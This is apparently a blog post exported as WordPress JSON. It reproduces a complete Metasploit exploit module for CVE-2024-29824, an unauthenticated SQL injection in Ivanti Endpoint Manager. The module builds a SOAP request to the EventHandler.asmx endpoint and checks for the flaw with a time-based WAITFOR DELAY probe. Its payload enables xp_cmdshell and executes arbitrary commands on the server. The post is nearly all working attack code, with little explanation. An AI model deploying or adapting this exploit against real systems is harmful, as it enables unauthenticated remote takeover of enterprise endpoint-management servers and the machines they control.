##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking<\/p>\n
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck<\/p>\n
class IvantiEpmRequestError < StandardError; end<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Ivanti EPM RecordGoodApp SQLi RCE’,
‘Description’ => %q{
Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to unauthenticated SQL injection which can be leveraged to achieve unauthenticated remote code execution.
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘James Horseman’, # original PoC, analysis
‘Christophe De La Fuente’ # Metasploit module
],
‘References’ => [
[ ‘URL’, ‘https:\/\/forums.ivanti.com\/s\/article\/Security-Advisory-May-2024’],
[ ‘URL’, ‘https:\/\/www.zerodayinitiative.com\/advisories\/ZDI-24-507’],
[ ‘URL’, ‘https:\/\/github.com\/horizon3ai\/CVE-2024-29824’],
[ ‘URL’, ‘https:\/\/www.horizon3.ai\/attack-research\/attack-blogs\/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability\/’],
[ ‘CVE’, ‘2024-29824’]],
‘Platform’ => [‘windows’],
‘Privileged’ => true,
‘Arch’ => ARCH_CMD,
‘Targets’ => [
[ ‘Automatic Target’, {}]],
‘DisclosureDate’ => ‘2024-05-24’,
‘DefaultTarget’ => 0,
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE ],
‘Reliability’ => [ REPEATABLE_SESSION ],
# MS SQL logs will contain evidence of `xp_cmdshell` being used
# Fetch payload cannot be deleted while a Meterpreter session is active
‘SideEffects’ => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]}
)
)
register_options(
[
OptString.new(‘TARGETURI’, [ true, ‘The URI of the EPM Web Services’, ‘\/’]),
OptInt.new(‘DELAY’, [ true, ‘The delay to detect if the target is vulnerable using time-based SQLi in second’, 5])
])
end<\/p>\n
def sqli_payload(cmd)
“‘;EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;EXEC xp_cmdshell ‘#{cmd.encode(xml: :text)}’–“
end<\/p>\n
def xml_payload(sqli)
<<~XML
<?xml version=”1.0″ encoding=”utf-8″?>
<soap12:Envelope xmlns:xsi=”http:\/\/www.w3.org\/2001\/XMLSchema-instance” xmlns:xsd=”http:\/\/www.w3.org\/2001\/XMLSchema” xmlns:soap12=”http:\/\/www.w3.org\/2003\/05\/soap-envelope”>
<soap12:Body>
<UpdateStatusEvents xmlns=”http:\/\/tempuri.org\/”>
<deviceID>string<\/deviceID>
<actions>
<Action name=”string” code=”0″ date=”0″ type=”96″ user=”string” configguid=”string” location=”string”>
<status>GoodApp=1|md5=#{sqli}<\/status>
<\/Action>
<\/actions>
<\/UpdateStatusEvents>
<\/soap12:Body>
<\/soap12:Envelope>
XML
end<\/p>\n
def soap_request(sqli, timeout = 20)
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, ‘WSStatusEvents’, ‘EventHandler.asmx’),
‘method’ => ‘POST’,
‘ctype’ => ‘application\/soap+xml; charset=”utf-8″‘,
‘data’ => xml_payload(sqli)
}, timeout)<\/p>\n
raise IvantiEpmRequestError, ‘Failed to send the SOAP request’ unless res<\/p>\n
res
end<\/p>\n
def check
print_status(“Checking if the target is vulnerable using time-based SQLi (delay=#{datastore[‘DELAY’]})”)<\/p>\n
_res, elapsed1 = Rex::Stopwatch.elapsed_time { soap_request(“‘;WAITFOR DELAY ‘0:0:0’;select 1–“) }
vprint_status(“Baseline query elapsed time: #{elapsed1}”)<\/p>\n
_res, elapsed2 = Rex::Stopwatch.elapsed_time { soap_request(“‘;WAITFOR DELAY ‘0:0:#{datastore[‘DELAY’]}’;select 2–“) }
vprint_status(“Delayed query elapsed time: #{elapsed2}”)<\/p>\n
if elapsed2.to_i > elapsed1.to_i && elapsed2 >= datastore[‘DELAY’]return CheckCode::Vulnerable(‘SQLi executed’)
else
return CheckCode::Safe(‘SQLi not executed’)
end
rescue IvantiEpmRequestError => e
return CheckCode::Unknown(e.to_s)
end<\/p>\n
def exploit
soap_request(sqli_payload(payload.encoded), 1)
rescue IvantiEpmRequestError
# Expecting no response if an interactive payload such as Meterpreter is used
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Exploit::RemoteRank = NormalRanking include Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck class IvantiEpmRequestError < StandardError; end def initialize(info = {})super(update_info(info,‘Name’ => ‘Ivanti EPM RecordGoodApp SQLi RCE’,‘Description’ => %q{Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to unauthenticated SQL injection which can be leveraged to achieve unauthenticated …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58039","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58039","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58039"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58039\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58039"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58039"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58039"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}